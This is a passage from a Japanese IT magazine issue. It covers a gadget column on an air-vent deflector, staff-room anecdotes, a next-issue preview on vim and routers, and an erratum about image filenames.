が発生することもありませ
ん。オフィスで冷房の調整に
手こずっているなら、導入し
てみてはいかが？

エンジニアの能率を高める一品
仕事の能率を高める道具は、ソフトウェアやスマートフォンのようなデジタルなものだけではありません。
このコーナーではエンジニアの能率アップ心をくすぐるアナログな文具、雑貨、小物を紹介していきます。

エアーウィング・プロ
4,042円（税込）／ダイアン・サービス　http://www.daian.co.jp/

▲写真　送風口ごとに風向きを調整できる

http://www.daian.co.jp/
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●本誌の目次を読んでいる方は、どのくらいいるの

かな。実は猫（中年♂）が居候しているんです。1年

間の契約で場所貸ししていますが、無職で遊んでば

かりなので、ちゃんと賃料を払ってくれるのか心配で

す。出世払いしてやるって……。どうせ気まぐれな

猫のことですから本気にはしません。（本）

●電車の中でタブレットを使っている人が増えた気が

する。 iPad miniとか使ってるのを見ると羨ましい。

しかし、目当てのRetinaモデルは来年になりそうだ。

Nexus7の新型もよさげだ。SIMフリーにするかどう

かで悩むけど買ってしまいそう。Appleの秋展開を待

つべきなのかどうか……。（幕）

●この夏初めてのプールへ！　小学2年生になる下の

娘がようやく水に慣れてきたこともあり、仰向けで水

に浮かんだり、バタ足で20m行ったり、さらには平

泳ぎにも挑戦。今シーズンはかなりやる気満々のご

様子。今期の深夜アニメ『Free!』に家族全員が触発

されたから、というのは内緒です。（キ）

●我が家では二層式洗濯機を使っています。洗うと

きはフタを開けたまま回すので、汚れが落ちるのがよ

くわかります（水が真っ黒！）。洗濯後の満足感は、全

自動洗濯機の比ではありません。今の季節は、手を

洗濯層の水に浸けながらじゃぶじゃぶと作業するのも

気持ちいい。次買い換えるときも二層式だ！（よし）

●マンボウの刺身を食べた。かなり希少らしい。いま

だかつて、ここまで魚っぽくない魚は初めて。刺身コ

ンニャクをあっさりさせた感じ……すなわち完全に無

味である。レシピ探しついでにマンボウの生態も垣

間見たが、かなり笑えるので興味のある人はぜひグ

グッてみてください。（マン坊）

●10年ぶりに京都に行きました。夏の京都といえば

暑いの代名詞ですが、都内では遭遇したことがない

ほどのゲリラ豪雨に見舞われ、暑さを感じることなく

ゲリラ豪雨の合間に観光しました。祇園祭も味わえ

ましたが、あまり事前に情報収集できなかったため、

本来の楽しみ方はできていなかったようです。（ま）

S D  S t a f f  R o o m

［第1特集］ 

「vim至上主義」
　スクリプト作成からプログラミングまで、多くのエンジニアに愛されているvim。使い
こなすには少しハードルが高くありませんか？　本特集では、現場でvimを自家薬籠中
としているエンジニア達が、そのプロ技を直伝します。

［第2特集］ ネットワーク技術力のパワーアップ

ルータの教科書
　サーバはもちろんのこと、ネットワークも仮想化が進む昨今、あなたの技術は大丈夫
ですか？　最新ルータ事情＋基本技術解説でモダンネットワークエンジニアになろう！

［一般記事］ 

「Key Value Storeをゼロから創る！　okuyamaでわかるkvsの本質」
※特集・記事内容は、予告なく変更される場合があります。あらかじめご容赦ください。

次号予告

休載のお知らせ
　「システムで必要なことはすべてUNIXから学んだ」（第10回）、「IPv6化の道も一歩から」（第9回）は都合によりお休み
いたします。

■2013年8月号　連載「プログラム知識ゼロからはじめるiPhoneブックアプリ開発　第4回」
ブックアプリの作例で使用している画像のファイル名で、一部先頭文字が小文字になっている個所がありました。拡張子が
「.png」の画像ファイル名については小文字の「p」をすべて大文字の「P」として読み替えてください。詳細は8月号サポー
トサイト（http://gihyo.jp/magazine/SD/archive/2013/201308/support）をご参照ください。

お詫びと訂正
　以下の記事に誤りがございました。読者のみなさま、および関係者の方々にご迷惑をおかけしたことをお詫び申し上げます。
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